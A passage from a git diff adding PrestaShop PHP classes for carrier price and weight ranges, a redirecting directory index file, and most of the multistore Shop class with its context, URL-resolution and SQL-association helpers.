ObjectModel +{ + public $id_carrier; + public $delimiter1; + public $delimiter2; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'range_price', + 'primary' => 'id_range_price', + 'fields' => array( + 'id_carrier' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'required' => true), + 'delimiter1' => array('type' => self::TYPE_FLOAT, 'validate' => 'isUnsignedFloat', 'required' => true), + 'delimiter2' => array('type' => self::TYPE_FLOAT, 'validate' => 'isUnsignedFloat', 'required' => true), + ), + ); + + protected $webserviceParameters = array( + 'objectsNodeName' => 'price_ranges', + 'objectNodeName' => 'price_range', + 'fields' => array( + 'id_carrier' => array('xlink_resource' => 'carriers'), + ) + ); + + /** + * Override add to create delivery value for all zones + * @see classes/ObjectModelCore::add() + * + * @param bool $null_values + * @param bool $autodate + * @return boolean Insertion result + */ + public function add($autodate = true, $null_values = false) + { + if (!parent::add($autodate, $null_values) || !Validate::isLoadedObject($this)) + return false; + + $carrier = new Carrier((int)$this->id_carrier); + $price_list = array(); + foreach ($carrier->getZones() as $zone) + $price_list[] = array( + 'id_range_price' => (int)$this->id, + 'id_range_weight' => 0, + 'id_carrier' => (int)$this->id_carrier, + 'id_zone' => (int)$zone['id_zone'], + 'price' => 0, + ); + $carrier->addDeliveryPrice($price_list); + + return true; + } + + /** + * Get all available price ranges + * + * @return array Ranges + */ + public static function getRanges($id_carrier) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'range_price` + WHERE `id_carrier` = '.(int)$id_carrier.' + ORDER BY `delimiter1` ASC'); + } + + public static function rangeExist($id_carrier, $delimiter1, $delimiter2) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT count(*) + FROM `'._DB_PREFIX_.'range_price` + WHERE `id_carrier` = '.(int)$id_carrier.' + AND `delimiter1` = '.(float)$delimiter1.' AND `delimiter2`='.(float)$delimiter2); + } + + public static function isOverlapping($id_carrier, $delimiter1, $delimiter2, $id_rang = null) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT count(*) + FROM `'._DB_PREFIX_.'range_price` + WHERE `id_carrier` = '.(int)$id_carrier.' + AND ((`delimiter1` >= '.(float)$delimiter1.' AND `delimiter1` < '.(float)$delimiter2.') + OR (`delimiter2` > '.(float)$delimiter1.' AND `delimiter2` < '.(float)$delimiter2.') + OR ('.(float)$delimiter1.' > `delimiter1` AND '.(float)$delimiter1.' < `delimiter2`) + OR ('.(float)$delimiter2.' < `delimiter1` AND '.(float)$delimiter2.' > `delimiter2`) + ) + '.(!is_null($id_rang) ? ' AND `id_range_price` != '.(int)$id_rang : '')); + } +} \ No newline at end of file diff --git a/classes/range/RangeWeight.php b/classes/range/RangeWeight.php new file mode 100755 index 0000000..4cf0b99 --- /dev/null +++ b/classes/range/RangeWeight.php @@ -0,0 +1,118 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class RangeWeightCore extends ObjectModel +{ + public $id_carrier; + public $delimiter1; + public $delimiter2; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'range_weight', + 'primary' => 'id_range_weight', + 'fields' => array( + 'id_carrier' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'required' => true), + 'delimiter1' => array('type' => self::TYPE_FLOAT, 'validate' => 'isUnsignedFloat', 'required' => true), + 'delimiter2' => array('type' => self::TYPE_FLOAT, 'validate' => 'isUnsignedFloat', 'required' => true), + ), + ); + + protected $webserviceParameters = array( + 'objectNodeName' => 'weight_range', + 'objectsNodeName' => 'weight_ranges', + 'fields' => array( + 'id_carrier' => array('xlink_resource' => 'carriers'), + ) + ); + + /** + * Override add to create delivery value for all zones + * @see classes/ObjectModelCore::add() + * + * @param bool $null_values + * @param bool $autodate + * @return boolean Insertion result + */ + public function add($autodate = true, $null_values = false) + { + if (!parent::add($autodate, $null_values) || !Validate::isLoadedObject($this)) + return false; + + $carrier = new Carrier((int)$this->id_carrier); + $price_list = array(); + foreach ($carrier->getZones() as $zone) + $price_list[] = array( + 'id_range_price' => 0, + 'id_range_weight' => (int)$this->id, + 'id_carrier' => (int)$this->id_carrier, + 'id_zone' => (int)$zone['id_zone'], + 'price' => 0, + ); + $carrier->addDeliveryPrice($price_list); + + return true; + } + + /** + * Get all available price ranges + * + * @return array Ranges + */ + public static function getRanges($id_carrier) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'range_weight` + WHERE `id_carrier` = '.(int)$id_carrier.' + ORDER BY `delimiter1` ASC'); + } + + public static function rangeExist($id_carrier, $delimiter1, $delimiter2) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT count(*) + FROM `'._DB_PREFIX_.'range_weight` + WHERE `id_carrier` = '.(int)$id_carrier.' + AND `delimiter1` = '.(float)$delimiter1.' AND `delimiter2`='.(float)$delimiter2); + } + + public static function isOverlapping($id_carrier, $delimiter1, $delimiter2, $id_rang = null) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT count(*) + FROM `'._DB_PREFIX_.'range_weight` + WHERE `id_carrier` = '.(int)$id_carrier.' + AND ((`delimiter1` >= '.(float)$delimiter1.' AND `delimiter1` < '.(float)$delimiter2.') + OR (`delimiter2` > '.(float)$delimiter1.' AND `delimiter2` < '.(float)$delimiter2.') + OR ('.(float)$delimiter1.' > `delimiter1` AND '.(float)$delimiter1.' < `delimiter2`) + OR ('.(float)$delimiter2.' < `delimiter1` AND '.(float)$delimiter2.' > `delimiter2`) + ) + '.(!is_null($id_rang) ? ' AND `id_range_weight` != '.(int)$id_rang : '')); + } +} diff --git a/classes/range/index.php b/classes/range/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/range/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/classes/shop/Shop.php b/classes/shop/Shop.php new file mode 100755 index 0000000..1538bb2 --- /dev/null +++ b/classes/shop/Shop.php @@ -0,0 +1,1129 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class ShopCore extends ObjectModel +{ + /** @var int ID of shop group */ + public $id_shop_group; + + /** @var int ID of shop category */ + public $id_category; + + /** @var int ID of shop theme */ + public $id_theme; + + /** @var string Shop name */ + public $name; + + public $active = true; + public $deleted; + + /** @var string Shop theme name (read only) */ + public $theme_name; + + /** @var string Shop theme directory (read only) */ + public $theme_directory; + + /** @var string Physical uri of main url (read only) */ + public $physical_uri; + + /** @var string Virtual uri of main url (read only) */ + public $virtual_uri; + + /** @var string Domain of main url (read only) */ + public $domain; + + /** @var string Domain SSL of main url (read only) */ + public $domain_ssl; + + /** @var ShopGroup Shop group object */ + protected $group; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'shop', + 'primary' => 'id_shop', + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'deleted' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + 'id_theme' => array('type' => self::TYPE_INT, 'required' => true), + 'id_category' => array('type' => self::TYPE_INT, 'required' => true), + 'id_shop_group' => array('type' => self::TYPE_INT, 'required' => true), + ), + ); + + /** @var array List of shops cached */ + protected static $shops; + + protected static $asso_tables = array(); + protected static $id_shop_default_tables = array(); + protected static $initialized = false; + + protected $webserviceParameters = array( + 'fields' => array( + 'id_shop_group' => array('xlink_resource' => 'shop_groups'), + 'id_category' => array(), + 'id_theme' => array(), + ), + ); + + /** @var int Store the current context of shop (CONTEXT_ALL, CONTEXT_GROUP, CONTEXT_SHOP) */ + protected static $context; + + /** @var int ID shop in the current context (will be empty if context is not CONTEXT_SHOP) */ + protected static $context_id_shop; + + /** @var int ID shop group in the current context (will be empty if context is CONTEXT_ALL) */ + protected static $context_id_shop_group; + + /** + * There are 3 kinds of shop context : shop, group shop and general + */ + const CONTEXT_SHOP = 1; + const CONTEXT_GROUP = 2; + const CONTEXT_ALL = 4; + + /** + * Some data can be shared between shops, like customers or orders + */ + const SHARE_CUSTOMER = 'share_customer'; + const SHARE_ORDER = 'share_order'; + const SHARE_STOCK = 'share_stock'; + + /** + * On shop instance, get its theme and URL data too + * + * @param int $id + * @param int $id_lang + * @param int $id_shop + */ + public function __construct($id = null, $id_lang = null, $id_shop = null) + { + parent::__construct($id, $id_lang, $id_shop); + if ($this->id) + $this->setUrl(); + } + + /** + * Initialize an array with all the multistore associations in the database + */ + protected static function init() + { + Shop::$id_shop_default_tables = array('product', 'category'); + + $asso_tables = array( + 'carrier' => array('type' => 'shop'), + 'carrier_lang' => array('type' => 'fk_shop'), + 'category' => array('type' => 'shop'), + 'category_lang' => array('type' => 'fk_shop'), + 'cms' => array('type' => 'shop'), + 'contact' => array('type' => 'shop'), + 'country' => array('type' => 'shop'), + 'currency' => array('type' => 'shop'), + 'employee' => array('type' => 'shop'), + 'hook_module' => array('type' => 'fk_shop'), + 'hook_module_exceptions' => array('type' => 'fk_shop', 'primary' => 'id_hook_module_exceptions'), + 'image' => array('type' => 'shop'), + 'lang' => array('type' => 'shop'), + 'meta_lang' => array('type' => 'fk_shop'), + 'module' => array('type' => 'shop'), + 'module_currency' => array('type' => 'fk_shop'), + 'module_country' => array('type' => 'fk_shop'), + 'module_group' => array('type' => 'fk_shop'), + 'product' => array('type' => 'shop'), + 'product_attribute' => array('type' => 'shop'), + 'product_lang' => array('type' => 'fk_shop'), + 'referrer' => array('type' => 'shop'), + 'scene' => array('type' => 'shop'), + 'store' => array('type' => 'shop'), + 'webservice_account' => array('type' => 'shop'), + 'warehouse' => array('type' => 'shop'), + 'stock_available' => array('type' => 'fk_shop'), + 'carrier_tax_rules_group_shop' => array('type' => 'fk_shop'), + 'attribute' => array('type' => 'shop'), + 'feature' => array('type' => 'shop'), + 'group' => array('type' => 'shop'), + 'attribute_group' => array('type' => 'shop'), + 'tax_rules_group' => array('type' => 'shop'), + 'zone' => array('type' => 'shop'), + 'manufacturer' => array('type' => 'shop'), + 'supplier' => array('type' => 'shop'), + ); + + foreach ($asso_tables as $table_name => $table_details) + Shop::addTableAssociation($table_name, $table_details); + + Shop::$initialized = true; + } + + public function setUrl() + { + $sql = 'SELECT su.physical_uri, su.virtual_uri, + su.domain, su.domain_ssl, t.id_theme, t.name, t.directory + FROM '._DB_PREFIX_.'shop s + LEFT JOIN '._DB_PREFIX_.'shop_url su ON (s.id_shop = su.id_shop) + LEFT JOIN '._DB_PREFIX_.'theme t ON (t.id_theme = s.id_theme) + WHERE s.id_shop = '.(int)$this->id.' + AND s.active = 1 + AND s.deleted = 0 + AND su.main = 1'; + + if (!$row = Db::getInstance()->getRow($sql)) + return; + + $this->theme_id = $row['id_theme']; + $this->theme_name = $row['name']; + $this->theme_directory = $row['directory']; + $this->physical_uri = $row['physical_uri']; + $this->virtual_uri = $row['virtual_uri']; + $this->domain = $row['domain']; + $this->domain_ssl = $row['domain_ssl']; + + return true; + } + + /** + * Add a shop, and clear the cache + * + * @param bool $autodate + * @param bool $null_values + * @return bool + */ + public function add($autodate = true, $null_values = false) + { + $res = parent::add($autodate, $null_values); + Shop::cacheShops(true); + Db::getInstance()->Execute('INSERT INTO '._DB_PREFIX_.'employee_shop (id_employee, id_shop) (SELECT id_employee, '.(int)$this->id.' FROM '._DB_PREFIX_.'employee WHERE id_profile = '.(int)_PS_ADMIN_PROFILE_.')'); + return $res; + } + + /** + * Remove a shop only if it has no dependencies, and remove its associations + * + * @return bool + */ + public function delete() + { + if (Shop::hasDependency($this->id) || !$res = parent::delete()) + return false; + + foreach (Shop::getAssoTables() as $table_name => $row) + { + $id = 'id_'.$row['type']; + if ($row['type'] == 'fk_shop') + $id = 'id_shop'; + else + $table_name .= '_'.$row['type']; + $res &= Db::getInstance()->execute(' + DELETE FROM `'.bqSQL(_DB_PREFIX_.$table_name).'` + WHERE `'.bqSQL($id).'`='.(int)$this->id + ); + } + + // removes stock available + $res &= Db::getInstance()->delete('stock_available', 'id_shop = '.(int)$this->id); + + // Remove urls + $res &= Db::getInstance()->delete('shop_url', 'id_shop = '.(int)$this->id); + + Shop::cacheShops(true); + + return $res; + } + + /** + * Detect dependency with customer or orders + * + * @param int $id_shop + * @return bool + */ + public static function hasDependency($id_shop) + { + $has_dependency = false; + $nbr_customer = (int)Db::getInstance()->getValue(' + SELECT count(*) + FROM `'._DB_PREFIX_.'customer` + WHERE `id_shop`='.(int)$id_shop + ); + if ($nbr_customer) + $has_dependency = true; + else + { + $nbr_order = (int)Db::getInstance()->getValue(' + SELECT count(*) + FROM `'._DB_PREFIX_.'orders` + WHERE `id_shop`='.(int)$id_shop + ); + if ($nbr_order) + $has_dependency = true; + } + + return $has_dependency; + } + + /** + * Find the shop from current domain / uri and get an instance of this shop + * if INSTALL_VERSION is defined, will return an empty shop object + * + * @return Shop + */ + public static function initialize() + { + // Find current shop from URL + if (!($id_shop = Tools::getValue('id_shop')) || defined('_PS_ADMIN_DIR_')) + { + $host = pSQL(Tools::getHttpHost()); + $sql = 'SELECT s.id_shop, CONCAT(su.physical_uri, su.virtual_uri) AS uri, su.domain, su.main + FROM '._DB_PREFIX_.'shop_url su + LEFT JOIN '._DB_PREFIX_.'shop s ON (s.id_shop = su.id_shop) + WHERE (su.domain = \''.$host.'\' OR su.domain_ssl = \''.$host.'\') + AND s.active = 1 + AND s.deleted = 0 + ORDER BY LENGTH(CONCAT(su.physical_uri, su.virtual_uri)) DESC'; + + $id_shop = ''; + $found_uri = ''; + $request_uri = rawurldecode($_SERVER['REQUEST_URI']); + $is_main_uri = false; + if ($results = Db::getInstance()->executeS($sql)) + { + foreach ($results as $row) + { + // An URL matching current shop was found + if (preg_match('#^'.preg_quote($row['uri'], '#').'#i', $request_uri)) + { + $id_shop = $row['id_shop']; + $found_uri = $row['uri']; + if ($row['main']) + $is_main_uri = true; + break; + } + } + } + + // If an URL was found but is not the main URL, redirect to main URL + if ($id_shop && !$is_main_uri) + { + foreach ($results as $row) + { + if ($row['id_shop'] == $id_shop && $row['main']) + { + // extract url parameters + $request_uri = substr($request_uri, strlen($found_uri)); + $url = str_replace('//', '/', $row['domain'].$row['uri'].$request_uri); + header('HTTP/1.1 301 Moved Permanently'); + header('Cache-Control: no-cache'); + header('location: http://'.$url); + exit; + } + } + } + } + + if (!$id_shop && defined('_PS_ADMIN_DIR_')) + { + // If in admin, we can access to the shop without right URL + $shop = new Shop(Configuration::get('PS_SHOP_DEFAULT')); + $shop->physical_uri = preg_replace('#/+#', '/', str_replace('\\', '/', dirname(dirname($_SERVER['SCRIPT_NAME']))).'/'); + $shop->virtual_uri = ''; + } + else + { + $shop = new Shop($id_shop); + if (!Validate::isLoadedObject($shop) || !$shop->active || !$id_shop) + { + // No shop found ... too bad, let's redirect to default shop + $default_shop = new Shop(Configuration::get('PS_SHOP_DEFAULT')); + + // Hmm there is something really bad in your Prestashop ! + if (!Validate::isLoadedObject($default_shop)) + throw new PrestaShopException('Shop not found'); + + $params = $_GET; + unset($params['id_shop']); + if (!Configuration::get('PS_REWRITING_SETTINGS')) + $url = 'http://'.$default_shop->domain.$default_shop->getBaseURI().'index.php?'.http_build_query($params); + else + { + // Catch url with subdomain "www" + if (strpos($default_shop->domain, 'www.') === 0 && 'www.'.$_SERVER['HTTP_HOST'] === $default_shop->domain + || $_SERVER['HTTP_HOST'] === 'www.'.$default_shop->domain) + $uri = $default_shop->domain.$_SERVER['REQUEST_URI']; + else + $uri = $default_shop->domain.$default_shop->getBaseURI(); + + if (count($params)) + $url = 'http://'.$uri.'?'.http_build_query($params); + else + $url = 'http://'.$uri; + } + header('location: '.$url); + exit; + } + } + + self::$context_id_shop = $shop->id; + self::$context_id_shop_group = $shop->id_shop_group; + self::$context = self::CONTEXT_SHOP; + + return $shop; + } + + /** + * @return Address the current shop address + */ + public function getAddress() + { + if (!isset($this->address)) + { + $address = new Address(); + $address->company = Configuration::get('PS_SHOP_NAME'); + $address->id_country = Configuration::get('PS_SHOP_COUNTRY_ID') ? Configuration::get('PS_SHOP_COUNTRY_ID') : Configuration::get('PS_COUNTRY_DEFAULT'); + $address->id_state = Configuration::get('PS_SHOP_STATE_ID'); + $address->address1 = Configuration::get('PS_SHOP_ADDR1'); + $address->address2 = Configuration::get('PS_SHOP_ADDR2'); + $address->postcode = Configuration::get('PS_SHOP_CODE'); + $address->city = Configuration::get('PS_SHOP_CITY'); + + $this->address = $address; + } + + return $this->address; + } + + /** + * Get shop theme name + * + * @return string + */ + public function getTheme() + { + return $this->theme_directory; + } + + /** + * Get shop URI + * + * @return string + */ + public function getBaseURI() + { + return $this->physical_uri.$this->virtual_uri; + } + + /** + * Get shop URL + * + * @return string + */ + public function getBaseURL() + { + if (!$this->domain) + return false; + return 'http://'.$this->domain.$this->getBaseURI(); + } + + /** + * Get group of current shop + * + * @return ShopGroup + */ + public function getGroup() + { + if (!$this->group) + $this->group = new ShopGroup($this->id_shop_group); + return $this->group; + } + + /** + * Get root category of current shop + * + * @return int + */ + public function getCategory() + { + return ($this->id_category) ? $this->id_category : 1; + } + + /** + * Get list of shop's urls + * + * @return array + */ + public function getUrls() + { + $sql = 'SELECT * + FROM '._DB_PREFIX_.'shop_url + WHERE active = 1 + AND id_shop = '.(int)$this->id; + return Db::getInstance()->executeS($sql); + } + + /** + * Check if current shop ID is the same as default shop in configuration + * + * @return bool + */ + public function isDefaultShop() + { + return $this->id == Configuration::get('PS_SHOP_DEFAULT'); + } + + /** + * Get the associated table if available + * + * @return array + */ + public static function getAssoTable($table) + { + if (!Shop::$initialized) + Shop::init(); + return (isset(Shop::$asso_tables[$table]) ? Shop::$asso_tables[$table] : false); + } + + /** + * check if the table has an id_shop_default + * + * @return boolean + */ + public static function checkIdShopDefault($table) + { + if (!Shop::$initialized) + Shop::init(); + return in_array($table, self::$id_shop_default_tables); + } + + /** + * Get list of associated tables to shop + * + * @return array + */ + public static function getAssoTables() + { + if (!Shop::$initialized) + Shop::init(); + return Shop::$asso_tables; + } + + /** + * Add table associated to shop + * + * @param string $table_name + * @param array $table_details + * @return bool + */ + public static function addTableAssociation($table_name, $table_details) + { + if (!isset(Shop::$asso_tables[$table_name])) + Shop::$asso_tables[$table_name] = $table_details; + else + return false; + return true; + } + + /** + * Check if given table is associated to shop + * + * @param string $table + * @return bool + */ + public static function isTableAssociated($table) + { + if (!Shop::$initialized) + Shop::init(); + return isset(Shop::$asso_tables[$table]) && Shop::$asso_tables[$table]['type'] == 'shop'; + } + + /** + * Load list of groups and shops, and cache it + * + * @param bool $refresh + */ + public static function cacheShops($refresh = false) + { + if (!is_null(self::$shops) && !$refresh) + return; + + self::$shops = array(); + + $from = ''; + $where = ''; + + $employee = Context::getContext()->employee; + + // If the profile isn't a superAdmin + if (Validate::isLoadedObject($employee) && $employee->id_profile != _PS_ADMIN_PROFILE_) + { + $from .= 'LEFT JOIN '._DB_PREFIX_.'employee_shop es ON es.id_shop = s.id_shop'; + $where .= 'AND es.id_employee = '.(int)$employee->id; + } + + $sql = 'SELECT gs.*, s.*, gs.name AS group_name, s.name AS shop_name, s.active, su.domain, su.domain_ssl, su.physical_uri, su.virtual_uri + FROM '._DB_PREFIX_.'shop_group gs + LEFT JOIN '._DB_PREFIX_.'shop s + ON s.id_shop_group = gs.id_shop_group + LEFT JOIN '._DB_PREFIX_.'shop_url su + ON s.id_shop = su.id_shop AND su.main = 1 + '.$from.' + WHERE s.deleted = 0 + AND gs.deleted = 0 + '.$where.' + ORDER BY gs.name, s.name'; + + if ($results = Db::getInstance()->executeS($sql)) + { + foreach ($results as $row) + { + if (!isset(self::$shops[$row['id_shop_group']])) + self::$shops[$row['id_shop_group']] = array( + 'id' => $row['id_shop_group'], + 'name' => $row['group_name'], + 'share_customer' => $row['share_customer'], + 'share_order' => $row['share_order'], + 'share_stock' => $row['share_stock'], + 'shops' => array(), + ); + + self::$shops[$row['id_shop_group']]['shops'][$row['id_shop']] = array( + 'id_shop' => $row['id_shop'], + 'id_shop_group' => $row['id_shop_group'], + 'name' => $row['shop_name'], + 'id_theme' => $row['id_theme'], + 'id_category' => $row['id_category'], + 'domain' => $row['domain'], + 'domain_ssl' => $row['domain_ssl'], + 'uri' => $row['physical_uri'].$row['virtual_uri'], + 'active' => $row['active'], + ); + } + } + } + + public static function getCompleteListOfShopsID() + { + $list = array(); + $sql = 'SELECT id_shop FROM '._DB_PREFIX_.'shop'; + foreach (Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql) as $row) + $list[] = $row['id_shop']; + return $list; + } + + /** + * Get shops list + * + * @param bool $active + * @param int $id_shop_group + * @param bool $get_as_list_id + * @return array + */ + public static function getShops($active = true, $id_shop_group = null, $get_as_list_id = false) + { + Shop::cacheShops(); + + $results = array(); + foreach (self::$shops as $group_id => $group_data) + foreach ($group_data['shops'] as $id => $shop_data) + if ((!$active || $shop_data['active']) && (!$id_shop_group || $id_shop_group == $group_id)) + { + if ($get_as_list_id) + $results[$id] = $id; + else + $results[$id] = $shop_data; + } + return $results; + } + + public function getUrlsSharedCart() + { + if (!$this->getGroup()->share_order) + return false; + + $query = new DbQuery(); + $query->select('domain'); + $query->from('shop_url'); + $query->where('main = 1'); + $query->where('active = 1'); + $query .= $this->addSqlRestriction(Shop::SHARE_ORDER); + $domains = array(); + foreach (Db::getInstance()->executeS($query) as $row) + $domains[] = $row['domain']; + + return $domains; + } + + /** + * Get a collection of shops + * + * @param bool $active + * @param int $id_shop_group + * @return Collection + */ + public static function getShopsCollection($active = true, $id_shop_group = null) + { + $shops = new Collection('Shop'); + if ($active) + $shops->where('active', '=', 1); + + if ($id_shop_group) + $shops->where('id_shop_group', '=', (int)$id_shop_group); + + return $shops; + } + + /** + * Return some informations cached for one shop + * + * @param int $shop_id + * @return array + */ + public static function getShop($shop_id) + { + Shop::cacheShops(); + foreach (self::$shops as $group_id => $group_data) + if (array_key_exists($shop_id, $group_data['shops'])) + return $group_data['shops'][$shop_id]; + return false; + } + + /** + * Return a shop ID from shop name + * + * @param string $name + * @return int + */ + public static function getIdByName($name) + { + Shop::cacheShops(); + foreach (self::$shops as $group_data) + foreach ($group_data['shops'] as $shop_id => $shop_data) + if (Tools::strtolower($shop_data['name']) == Tools::strtolower($name)) + return $shop_id; + return false; + } + + /** + * @param bool $active + * @param int $id_shop_group + * @return int Total of shops + */ + public static function getTotalShops($active = true, $id_shop_group = null) + { + return count(Shop::getShops($active, $id_shop_group)); + } + + /** + * Retrieve group ID of a shop + * + * @param int $shop_id Shop ID + * @return int Group ID + */ + public static function getGroupFromShop($shop_id, $as_id = true) + { + Shop::cacheShops(); + foreach (self::$shops as $group_id => $group_data) + if (array_key_exists($shop_id, $group_data['shops'])) + return ($as_id) ? $group_id : $group_data; + return false; + } + + /** + * If the shop group has the option $type activated, get all shops ID of this group, else get current shop ID + * + * @param int $shop_id + * @param int $type Shop::SHARE_CUSTOMER | Shop::SHARE_ORDER + * @return array + */ + public static function getSharedShops($shop_id, $type) + { + if (!in_array($type, array(Shop::SHARE_CUSTOMER, Shop::SHARE_ORDER, SHOP::SHARE_STOCK))) + die('Wrong argument ($type) in Shop::getSharedShops() method'); + + Shop::cacheShops(); + foreach (self::$shops as $group_data) + if (array_key_exists($shop_id, $group_data['shops']) && $group_data[$type]) + return array_keys($group_data['shops']); + return array($shop_id); + } + + /** + * Get a list of ID concerned by the shop context (E.g. if context is shop group, get list of children shop ID) + * + * @param string $share If false, dont check share datas from group. Else can take a Shop::SHARE_* constant value + * @return array + */ + public static function getContextListShopID($share = false) + { + if (Shop::getContext() == Shop::CONTEXT_SHOP) + $list = ($share) ? Shop::getSharedShops(Shop::getContextShopID(), $share) : array(Shop::getContextShopID()); + else if (Shop::getContext() == Shop::CONTEXT_GROUP) + $list = Shop::getShops(true, Shop::getContextShopGroupID(), true); + else + $list = Shop::getShops(true, null, true); + + return $list; + } + + /** + * Return the list of shop by id + * + * @param int $id + * @param string $identifier + * @param string $table + * @return array + */ + public static function getShopById($id, $identifier, $table) + { + return Db::getInstance()->executeS(' + SELECT `id_shop`, `'.bqSQL($identifier).'` + FROM `'._DB_PREFIX_.bqSQL($table).'_shop` + WHERE `'.bqSQL($identifier).'` = '.(int)$id + ); + } + + /** + * Change the current shop context + * + * @param int $type Shop::CONTEXT_ALL | Shop::CONTEXT_GROUP | Shop::CONTEXT_SHOP + * @param int $id ID shop if CONTEXT_SHOP or id shop group if CONTEXT_GROUP + */ + public static function setContext($type, $id = null) + { + switch ($type) + { + case self::CONTEXT_ALL : + self::$context_id_shop = null; + self::$context_id_shop_group = null; + break; + + case self::CONTEXT_GROUP : + self::$context_id_shop = null; + self::$context_id_shop_group = (int)$id; + break; + + case self::CONTEXT_SHOP : + self::$context_id_shop = (int)$id; + self::$context_id_shop_group = Shop::getGroupFromShop($id); + break; + + default : + throw new PrestaShopException('Unknown context for shop'); + } + + self::$context = $type; + } + + /** + * Get current context of shop + * + * @return int + */ + public static function getContext() + { + return self::$context; + } + + /** + * Get current ID of shop if context is CONTEXT_SHOP + * + * @return int + */ + public static function getContextShopID($null_value_without_multishop = false) + { + if ($null_value_without_multishop && !Shop::isFeatureActive()) + return null; + return self::$context_id_shop; + } + + /** + * Get current ID of shop group if context is CONTEXT_SHOP or CONTEXT_GROUP + * + * @return int + */ + public static function getContextShopGroupID($null_value_without_multishop = false) + { + if ($null_value_without_multishop && !Shop::isFeatureActive()) + return null; + + return self::$context_id_shop_group; + } + + public static function getContextShopGroup() + { + static $context_shop_group = null; + if ($context_shop_group === null) + $context_shop_group = new ShopGroup((int)self::$context_id_shop_group); + return $context_shop_group; + } + + /** + * Add an sql restriction for shops fields + * + * @param int $share If false, dont check share datas from group. Else can take a Shop::SHARE_* constant value + * @param string $alias + */ + public static function addSqlRestriction($share = false, $alias = null) + { + if ($alias) + $alias .= '.'; + + $group = Shop::getGroupFromShop(Shop::getContextShopID(), false); + if ($share == Shop::SHARE_CUSTOMER && Shop::getContext() == Shop::CONTEXT_SHOP && $group['share_customer']) + $restriction = ' AND '.$alias.'id_shop_group = '.(int)Shop::getContextShopGroupID(); + else + $restriction = ' AND '.$alias.'id_shop IN ('.implode(', ', Shop::getContextListShopID($share)).') '; + return $restriction; + } + + /** + * Add an SQL JOIN in query between a table and its associated table in multishop + * + * @param string $table Table name (E.g. product, module, etc.) + * @param string $alias Alias of table + * @param bool $inner_join Use or not INNER JOIN + * @param string $on + * @return string + */ + public static function addSqlAssociation($table, $alias, $inner_join = true, $on = null, $force_not_default = false) + { + $table_alias = $table.'_shop'; + if (strpos($table, '.') !== false) + list($table_alias, $table) = explode('.', $table); + + $asso_table = Shop::getAssoTable($table); + if ($asso_table === false || $asso_table['type'] != 'shop') + return; + $sql = (($inner_join) ? ' INNER' : ' LEFT').' JOIN '._DB_PREFIX_.$table.'_shop '.$table_alias.' + ON ('.$table_alias.'.id_'.$table.' = '.$alias.'.id_'.$table; + if ((int)self::$context_id_shop) + $sql .= ' AND '.$table_alias.'.id_shop = '.(int)self::$context_id_shop; + elseif (Shop::checkIdShopDefault($table) && !$force_not_default) + $sql .= 